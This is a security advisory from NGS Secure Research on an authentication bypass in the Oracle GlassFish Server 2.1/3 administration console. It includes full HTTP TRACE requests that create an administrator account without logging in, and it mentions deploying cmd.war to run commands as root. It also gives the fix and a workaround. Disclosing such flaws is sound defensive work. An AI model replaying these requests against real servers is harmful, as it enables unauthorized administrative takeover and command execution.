Oracle GlassFish Server Administration Bypass

`=======  
Summary  
=======  
Name: Increased exploitation of Oracle GlassFish Server Administration Console Remote Authentication Bypass Vulnerability   
Release Date: 5 January 2012  
Reference: NGS00106  
Discoverer: David Spencer <[email protected]>  
Vendor: Oracle  
Vendor Reference:   
Systems Affected: Oracle GlassFish Server 2.1 and 3  
Risk: High  
Status: Published  
  
========  
TimeLine  
========  
Discovered: 26 August 2011  
Released: 26 August 2011  
Approved: 26 August 2011  
Reported: 26 August 2011  
Fixed: July 2011  
Published: 5 January 2012  
  
===========  
Description  
===========  
Core security released a bug in Oracle GlassFish Server Administration Console on 5th May 2011 which can be found here:  
http://www.securityfocus.com/archive/1/517965/30/0/threaded   
and here  
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1511   
  
The rating of this issue is classified as medium due to it only returning sensitive information. A full fix has been released by Oracle.  
  
NGS found that it is possible to use this issue to create a GlassFish administrator account as an unauthenticated user.  
  
=================  
Technical Details  
=================  
There is a known authentication bypass in Glassfish, by using a TRACE method rather than a GET method it is possible to access data meant only for Glassfish administrators.  
The following requests were used to create a new Glassfish administrator:  
  
TRACE /common/security/realms/manageUserNew.jsf?name=admin-realm&configName=server-config&bare=true HTTP/1.1  
Host: 10.65.78.211:4848  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101Firefox/6.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-gb,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Referer: http://10.65.78.211:4848/common/security/realms/manageUsers.jsf?name=admin-realm&configName=server-config&bare=true  
Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574  
  
This then gave access to the create user page, however it is important that when the submit button is pressed the resultant POST request be converted to a TRACE request.  
  
TRACE /common/security/realms/manageUserNew.jsf?propertyForm%3ApropertySheet%3ApropertSectionTextField%3AuserIdProp%3AUserId=NGSSecure&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AnewPasswordProp%3ANewPassword=Password!!&propertyForm%3ApropertySheet%3ApropertSectionTextField%3AconfirmPasswordProp%3AConfirmPassword=Password!!&propertyForm%3AhelpKey=ref-filerealmusernew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-2309913764624097582%3A-  
2546877703812727807&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true HTTP/1.1  
Host: 10.65.78.211:4848  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101Firefox/6.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-gb,en;q=0.5  
Accept-Encoding: gzip, deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Proxy-Connection: keep-alive  
Faces-Request: partial/ajax  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Referer: http://10.65.78.211:4848/common/security/realms/manageUserNew.jsf?name=admin-realm&configName=server-config&  
Content-Length: 0  
Cookie: JSESSIONID=ada23501f36f1ec9148589e9a574  
Pragma: no-cache  
Cache-Control: no-cache  
  
This created a user called NGSSecure with a password of Password!!  
  
NGS then logged on to the Glassfish administration console using this newly created user. Once logged on as this user it was possible to upload and deploy a website, NGS deployed cmd.war which allowed the user to run commands under the context of the GlassFish server which is root by default.  
  
===============  
Fix Information  
===============  
This issue has been fixed in GlassFish 3.1, a workaround also exists which is to disable the TRACE method on the administrator consoles web port  
  
NGS Secure Research  
http://www.ngssecure.com  
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